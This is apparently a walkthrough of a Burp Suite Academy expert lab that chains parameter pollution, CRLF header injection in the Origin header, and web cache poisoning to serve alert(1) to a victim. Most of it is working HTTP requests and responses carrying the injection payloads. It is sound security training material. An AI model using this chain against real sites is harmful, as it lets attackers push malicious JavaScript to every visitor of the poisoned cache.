Road to BSCP - Web Cache Poisoning
Walkthrough of Burp Suite Academy labs on Web Cache Poisoning vulnerabilities
Cache Key Injection (Expert)
This lab contains multiple independent vulnerabilities, including cache key injection. A user regularly visits this site's home page using Chrome.
To solve the lab, combine the vulnerabilities to execute
alert(1)
in the victim's browser. Note that you will need to make use of thePragma: x-get-cache-key
header in order to solve this lab.
To solve this lab, we will have to chain multiple vulnerabilities together that require us to be familiar with:
- Client-side parameter pollution (aka. HPP)
- Response Header injection
- Cache poisoning
Cache Poisoning using unkeyed parameter utm_content
We issue a GET request to /login
and pass a parameter named utm_content
. We also append the Pragma: x-get-cache-key
header that instructs the backend server to show the resulting cache key.
GET /login?lang=en&utm_content=asd HTTP/1.1
Host: {lab-id}.web-security-academy.net
Pragma: x-get-cache-key
Connection: close
We observe that we are able to control a redirection to Location
via the utm_content
parameter, which is also unkeyed (not part of the cache key).
HTTP/1.1 302 Found
Location: /login/?lang=en&utm_content=asd <-- 2. is also part of the 302 request
Vary: Origin
Set-Cookie: utm_content=asd; Secure; HttpOnly
Cache-Control: max-age=35
Age: 0
X-Cache-Key: /login?lang=en$$ <-- 1. "utm_content" is unkeyed
X-Cache: miss
Connection: close
Content-Length: 0
Client-side Parameter Polution in lang
Take note of the following import <script src='/js/localize.js?lang=en&cors=0'>
when navigating to/login/
.
We observe that the backend does not encode data passed in the lang
parameter in the import statement. This allows us to inject a ?
character and pollute any parameter. We append a fragment #
to the request, so that the backend ignores the hard-coded cors
value.
GET /login/?lang=en?utm_content=ignored%26cors=1%23 HTTP/1.1
Host: {lab-id}.web-security-academy.net
Pragma: x-get-cache-key
Connection: close
<!-- ... redacted ... -->
<script src='/js/localize.js?lang=en?utm_content=ignored&cors=1#&cors=0'>
Response Header Injection in /js/localize.js
We notice that when Cross-origin Resource Sharing (CORS) is enabled: /localize.js?lang=en&cors=1
, the backend will reflect any arbitrary Origin
in the Access-Control-Allow-Origin
response header.
This enables us to inject CRLF (carriage return, line-feed aka. %0d%0a
) characters and inject arbitrary response headers:
GET /js/localize.js?lang=en&cors=1 HTTP/1.1
Host: {lab-id}.web-security-academy.net
Origin: x%0d%0aExploit:%201337%0d%0a
Pragma: x-get-cache-key
Connection: close
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Access-Control-Allow-Origin: x
Exploit: 1337
Cache-Control: max-age=35
Age: 0
X-Cache-Key: /js/localize.js?lang=en&cors=1$$Origin=x%0d%0aExploit:%201337%0d%0a
X-Cache: miss
Connection: close
Content-Length: 0
⚠️ Note that Origin
is part of the Cache key and that $$
are parameter delimiters
Putting things together
We have all the necessary pieces to create our kill-chain. Let's try to put it into words first.
Knowing that Victim navigates to /
and will be redirected to /login?lang=en
, we need to:
- Poison the cache for
/login?lang=en
making sure the cache key matches/login?lang=en$$
- Poison the cache so that importing
/js/localize.js
serves malicious JavaScript - To achieve Step 2. we need to leverage the response header injection vulnerability, which requires CORS to be enabled
cors=1
- To achieve Step 3. we can use the client-side parameter pollution vulnerability in
lang
to forcefully enable CORS. - To achieve Step 4. we make use of the unkeyed parameter
utm_content
when poisoning/login?lang=en
If we take the kill-chain in reverse, first we write a poisoned JavaScript import that will trigger alert(1)
GET /js/localize.js?lang=en?utm_content=1&cors=1 HTTP/1.1
Host: 0aab0055031a607ac0200d6e00890054.web-security-academy.net
Pragma: x-get-cache-key
Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$
Connection: close
The Origin
contains our header injection payload, appending the right Content-Length
header to make sure the resulting request is valid HTTP.
Remember that Origin
will be part of the cache key.
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Access-Control-Allow-Origin: x
Cache-Control: max-age=35
Age: 12
X-Cache-Key: /js/localize.js?lang=en?cors=1$$Origin=x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$
X-Cache: hit
Connection: close
Content-Length: 8
alert(1)
To serve the request above, we need to enable CORS by polluting the cors
parameter and poison the cache, making sure to hit the same Cache Key:
X-Cache-Key: /js/localize.js?lang=en?cors=1$$x\r\nContent-Length: 8\r\n\r\nalert(1)$$$$
X-Cache-Key: /js/localize.js?lang=en?cors=1$$x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$
To obtain this key, we need the Victim to perform the following request (special characters are double-encoded to prevent from breaking JS):
GET /login/?lang=en?utm_content=1%26cors=1$$Origin=x%250d%250aContent-Length%3a%25208%250d%250a%250d%250aalert(1)$$%23 HTTP/1.1
Host: {lab-id}.web-security-academy.net
Pragma: x-get-cache-key
Connection: close
This request can be obtained by poisoning the cache of /login
and hit the /login?lang=en$$
Cache Key:
GET /login?lang=en?utm_content=1%26cors=1$$Origin=x%250d%250aContent-Length%3a%25208%250d%250a%250d%250aalert(1)$$%23 HTTP/1.1
Host: {lab-id}.web-security-academy.net
Pragma: x-get-cache-key
Connection: close
HTTP/1.1 302 Found
Location: /login/?lang=en?utm_content=1%26cors=1$$Origin=x%250d%250aContent-Length%3a%25208%250d%250a%250d%250aalert(1)$$%23
Vary: Origin
Cache-Control: max-age=35
Age: 2
X-Cache-Key: /login?lang=en$$
X-Cache: hit
Connection: close
Content-Length: 0
All that's left to do is to poison both requests at the same time
...Et voilà